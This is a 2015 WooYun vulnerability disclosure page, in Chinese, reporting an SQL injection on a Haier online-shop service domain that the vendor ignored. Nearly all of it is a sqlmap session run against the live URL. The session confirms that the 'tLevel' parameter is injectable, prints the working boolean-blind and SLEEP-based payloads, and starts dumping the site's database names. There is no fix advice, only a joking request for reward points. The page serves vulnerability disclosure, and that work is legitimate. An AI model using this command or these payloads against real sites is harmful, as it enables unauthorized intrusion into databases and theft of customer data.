当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0109909

漏洞标题：海尔官方商城某处SQL注入可泄露全网数据

相关厂商：海尔商城

漏洞作者： 路人甲

提交时间：2015-04-23 15:47

修复时间：2015-04-28 15:48

公开时间：2015-04-28 15:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-23： 细节已通知厂商并且等待厂商处理中
2015-04-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

rt

详细说明：

QQ截图20150423151926.png


QQ截图20150423151937.png

漏洞证明：

[root@Hacker~]# Sqlmap Sqlmap -u "http://fw.rrs.com/snaplb/FAQ/FAQList?tLevel=33480a48-0f72-489a-b209-16a7e0331634&pageNum=1&pageSize=5" --dbs
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all ap
[*] starting at 15:10:01
[15:10:02] [INFO] testing connection to the target URL
[15:10:02] [INFO] heuristics detected web page charset 'ISO-8859-2'
[15:10:03] [INFO] testing if the target URL is stable. This can take a couple of seconds
[15:10:04] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] y
[15:10:06] [INFO] testing if GET parameter 'tLevel' is dynamic
[15:10:07] [INFO] confirming that GET parameter 'tLevel' is dynamic
[15:10:07] [INFO] GET parameter 'tLevel' is dynamic
[15:10:08] [WARNING] heuristic (basic) test shows that GET parameter 'tLevel' might not be injectable
[15:10:08] [INFO] testing for SQL injection on GET parameter 'tLevel'
[15:10:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:10:13] [INFO] GET parameter 'tLevel' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[15:10:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:10:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:10:20] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:10:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:10:21] [INFO] testing 'MySQL inline queries'
[15:10:21] [INFO] testing 'PostgreSQL inline queries'
[15:10:21] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[15:10:21] [INFO] testing 'Oracle inline queries'
[15:10:21] [INFO] testing 'SQLite inline queries'
[15:10:21] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:10:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:10:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:10:22] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:11:22] [INFO] GET parameter 'tLevel' is 'MySQL > 5.0.11 AND time-based blind' injectable
[15:11:22] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:11:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:11:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'tLevel' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
[15:12:04] [INFO] testing if GET parameter 'pageNum' is dynamic
[15:12:05] [INFO] confirming that GET parameter 'pageNum' is dynamic
[15:12:06] [INFO] GET parameter 'pageNum' is dynamic
[15:12:06] [WARNING] heuristic (basic) test shows that GET parameter 'pageNum' might not be injectable
[15:12:06] [INFO] testing for SQL injection on GET parameter 'pageNum'
[15:12:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:12:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:12:07] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:12:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:12:08] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:12:09] [INFO] testing 'MySQL inline queries'
[15:12:09] [INFO] testing 'PostgreSQL inline queries'
[15:12:09] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[15:12:09] [INFO] testing 'Oracle inline queries'
[15:12:09] [INFO] testing 'SQLite inline queries'
[15:12:09] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:12:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:12:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:12:11] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:12:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:12:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:12:12] [INFO] testing 'Oracle AND time-based blind'
[15:12:13] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:12:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[15:12:26] [WARNING] GET parameter 'pageNum' is not injectable
[15:12:26] [INFO] testing if GET parameter 'pageSize' is dynamic
[15:12:27] [INFO] confirming that GET parameter 'pageSize' is dynamic
[15:12:27] [INFO] GET parameter 'pageSize' is dynamic
[15:12:27] [WARNING] heuristic (basic) test shows that GET parameter 'pageSize' might not be injectable
[15:12:27] [INFO] testing for SQL injection on GET parameter 'pageSize'
[15:12:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:12:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:12:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:12:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:12:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:12:30] [INFO] testing 'MySQL inline queries'
[15:12:31] [INFO] testing 'PostgreSQL inline queries'
[15:12:31] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[15:12:31] [INFO] testing 'Oracle inline queries'
[15:12:31] [INFO] testing 'SQLite inline queries'
[15:12:31] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:12:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:12:32] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:12:32] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:12:33] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:12:33] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:12:34] [INFO] testing 'Oracle AND time-based blind'
[15:12:34] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:12:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[15:12:47] [WARNING] GET parameter 'pageSize' is not injectable
sqlmap identified the following injection points with a total of 439 HTTP(s) requests:
---
Place: GET
Parameter: tLevel
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: tLevel=33480a48-0f72-489a-b209-16a7e0331634' AND 2704=2704 AND 'shJS'='shJS&pageNum=1&pageSize=5
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: tLevel=33480a48-0f72-489a-b209-16a7e0331634' AND SLEEP(5) AND 'LABx'='LABx&pageNum=1&pageSize=5
---
[15:12:47] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, JSP
back-end DBMS: MySQL 5.0.11
[15:12:47] [INFO] fetching database names
[15:12:47] [INFO] fetching number of databases
[15:12:47] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[15:12:47] [INFO] retrieved: 18
[15:12:54] [INFO] retrieved: information_schema
[15:14:17] [INFO] retrieved: aijia
[15:14:43] [INFO] retrieved: hibernate
[15:15:26] [INFO] retrieved: huxing
[15:15:57] [INFO] retrieved: iudp_basedata
[15:17:03] [INFO] retrieved: iudp_huxing
[15:17:59] [INFO] retrieved: iudp_rbac
[15:18:46] [INFO] retrieved: iudp_sh

修复方案：

求礼物，求rank！海尔兄弟，有木有 :)

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-04-28 15:48

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无